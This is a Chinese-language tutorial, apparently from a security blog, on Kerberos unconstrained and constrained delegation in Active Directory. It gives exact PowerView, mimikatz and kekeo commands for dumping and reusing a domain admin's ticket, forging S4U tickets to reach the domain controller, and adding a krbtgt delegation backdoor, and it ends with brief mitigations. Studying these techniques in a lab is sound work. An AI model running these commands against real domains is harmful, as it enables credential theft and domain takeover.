如果在一个域中,A
使用Kerberos
身份验证访问服务B
,B
再使用A
的身份去访问C
,这个过程就可以理解为委派,委派主要分为非约束委派(Unconstrained delegation)和约束委派(Constrained delegation)两种,只有当A
有权限访问C
的时候才能委派成功,因为B
使用的是A
的身份去访问C
非约束委派在Kerberos
中实现时,User
会从KDC
处得到的TGT
发送给委派对象Service1
,Service1
拿到TGT
后可以通过TGT
访问域内任意其它服务,所以被称为非约束委派
实现流程图如下(图来自微软手册)
1.用户通过发送KRB_AS_REQ消息请求可转发 TGT(forwardable TGT,为了方便我们称为TGT1)。
2.KDC在KRB_AS_REP消息中返回TGT1。
3.用户再通过TGT1向KDC请求转发TGT(forwarded TGT,我们称为TGT2)。
4.在KRB_TGS_REP消息中返回转发TGT2。
5.用户使用TGT1向KDC申请访问Service1的ST(Service Ticket)。
6.TGS返回给用户一个ST。
7.用户发送KRB_AP_REQ请求至Service1,这个请求中包含了TGT1和ST、TGT2、TGT2的SessionKey。
8.Service1使用用户的TGT2通过KRB_TGS_REQ发送给KDC,以用户的名义请求能够访问Service2的票据。
9.KDC在KRB_TGS_REP消息中返回Service2到Service1的票据。
10.Service1以用户的名义像Service2发送KRB_AP_REQ请求。
11.Service2响应步骤10中Service1的请求。
12.Service1响应步骤7中用户的请求。
13.在这个过程中的TGT转发机制,没有限制Service1对TGT2的使用,也就是说Service1可以通过TGT2来请求任意服务。
14.KDC返回步骤13中请求的票据。
15和16即为Service1通过模拟用户来访问其他Service
非约束委派设置:
由于非约束委派的不安全性,微软在windows2003
中发布了约束委派的功能。约束委派在Kerberos
中User
不会直接发送TGT
给服务,而是对发送给service1
的认证信息做了限制,不允许service1
代表User
使用这个TGT
去访问其他服务。这里包括一组名为S4U2Self(Service for User to Self)
和S4U2Proxy(Service for User to Proxy)
的Kerberos
协议扩展
S4U2Self
和S4U2proxy
的请求过程(图来自微软手册):
1. 用户向service1发出请求。用户已通过身份验证,但service1没有用户的授权数据。通常,这是由于身份验证是通过Kerberos以外的其他方式验证的。
2. 通过S4U2self扩展以用户的名义向KDC请求用于访问service1的ST1。
3. KDC返回给Service1一个用于用户验证Service1的ST1,该ST1可能包含用户的授权数据。
4. service1可以使用ST中的授权数据来满足用户的请求,然后响应用户。
注:尽管S4U2self向service1提供有关用户的信息,但S4U2self不允许service1代表用户发出其他服务的请求,这时候就轮到S4U2proxy发挥作用了
5. 用户向service1发出请求,service1需要以用户身份访问service2上的资源。
6. service1以用户的名义向KDC请求用户访问service2的ST2
7. 如果请求中包含PAC,则KDC通过检查PAC的签名数据来验证PAC,如果PAC有效或不存在,则KDC返回ST2给service1,但存储在ST2的cname和crealm字段中的客户端身份是用户的身份,而不是service1的身份。
8. service1使用ST2以用户的名义向service2发送请求,并判定用户已由KDC进行身份验证。
9. service2响应步骤8的请求。
10. service1响应用户对步骤5中的请求。
约束委派的设置:
然后就可以添加允许委派请求的服务了
Powerview
有两个版本,一个在dev
分支:https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1
一个在master
分支:https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1
dev
分支能够使用Get-DomainUser
查询域中约束委派的计算机和用户而master
分支目前我还不知道怎么查询,dev
分支查询的信息更详细一些
这里使用的是master
分支
查询域中所有非约束委派用户
Get-NetUser -Unconstrained -Domain de1ay.com
当然我这里没有设置,所以查询结果为空
查询域中所有非约束委派计算机
Get-NetComputer -Unconstrained -Domain de1ay.com
这里使用的是dev
分支
查询域中所有约束委派用户
Get-DomainUser –TrustedToAuth -domain de1ay.com -Properties distinguishedname,useraccountcontrol,msds-allowedtodelegateto|fl
查找域中配置约束委派的主机:
Get-DomainComputer -TrustedToAuth -Domain de1ay.com -Properties distinguishedname,useraccountcontrol,msds-allowedtodelegateto|ft -Wrap -AutoSize
假设我们现在已经获取域内一个已经配置了委派的账户权限或是密码,现在我们通过这个条件来攻击其它账户
在一个域中只有服务账号才有委派功能,使用如下命令将ghtwf01
设为服务账号
setspn -U -A variant/golden ghtwf01
通过setspn -l ghtwf01
查看是否成功设置
然后将ghtwf01
设置为非约束委派
然后诱导域管理员登录ghtwf01
服务账号所在主机,方法很多,比如WinRM
服务远程连接或者域管理员账号登录目标主机等
这个时候域管理员的TGT
已经缓存到域成员主机了,使用mimikatz
就可以导出
使用sekurlsa::tickets /export
命令导出内存中所有的票据(需要管理员或者系统权限)
圈内文件就是Administrator
发送的TGT
这个时候访问域控目录是权限不够的
利用kerberos::ptt
将Administrator
的TGT
导入,这个时候就能成功访问域控目录了
一句话总结非约束委派攻击,其实就是诱导某用户访问这台主机这个服务账号得到它的TGT
,就能利用它的身份去访问所有服务了,这里举的例子就是诱导域管理员访问,得到域管理员的TGT
从而拥有域管理员权限
将ghtwf01
账户设置为约束委派
使用powerview
验证一下是否成功设置,查询一下约束委派用户
已知ghtwf01
账户密码就可以直接使用kekeo
向域控发起申请TGT
的请求
tgt::ask /user:ghtwf01 /domain:de1ay.com /password:1qaz@WSX /ticket:ghtwf01.kirbi
然后利用得到的TGT
去TGS
申请ST
票据
tgs::s4u /tgt:[email protected][email protected] /user:[email protected] /service:cifs/DC.de1ay.com
现在这个账户是没有权限的
将ST
票据导入,成功访问域控(cifs服务)
拿下域控后可以通过抓取krbtgt
的hash
来构造黄金票据,通过约束委派也能达到同样的效果,也算是一种操作思路
在域控管理界面中无法添加访问krbtgt
,但是可以利用ActiveDirectory
在powershell
中添加
Import-Module ActiveDirectory
$user = Get-ADUser ghtwf01
Set-ADObject $user -Add @{ "msDS-AllowedToDelegateTo" = @("krbtgt/de1ay.com") }
这个时候发现成功添加
既然可以访问krbtgt
了,那么也就可以获取任意用户的TGT
了
先使用kekeo
获取ghtwf01
的用户的TGT
,和上面一样
tgt::ask /user:ghtwf01 /domain:de1ay.com /password:1qaz@WSX /ticket:ghtwf01.kirbi
然后通过ghtwf01
的TGT
向krbtgt
获取Administrator
的TGT
tgs::s4u /tgt:[email protected][email protected] /user:[email protected] /service:krbtgt/de1ay.com
然后将得到的票据通过kerberos::ptt
导入就能以域管理员身份访问域控
通过Enter-PSSession
或者psexec
或者wmiexec
都可以拿shell
执行命令
1.高权限用户设置不能被委派
2.使用受保护的用户组Protected Users
(windows server 2012以上才有)
https://xz.aliyun.com/t/2931
https://paper.seebug.org/620/
https://xz.aliyun.com/t/7217
https://www.anquanke.com/post/id/173477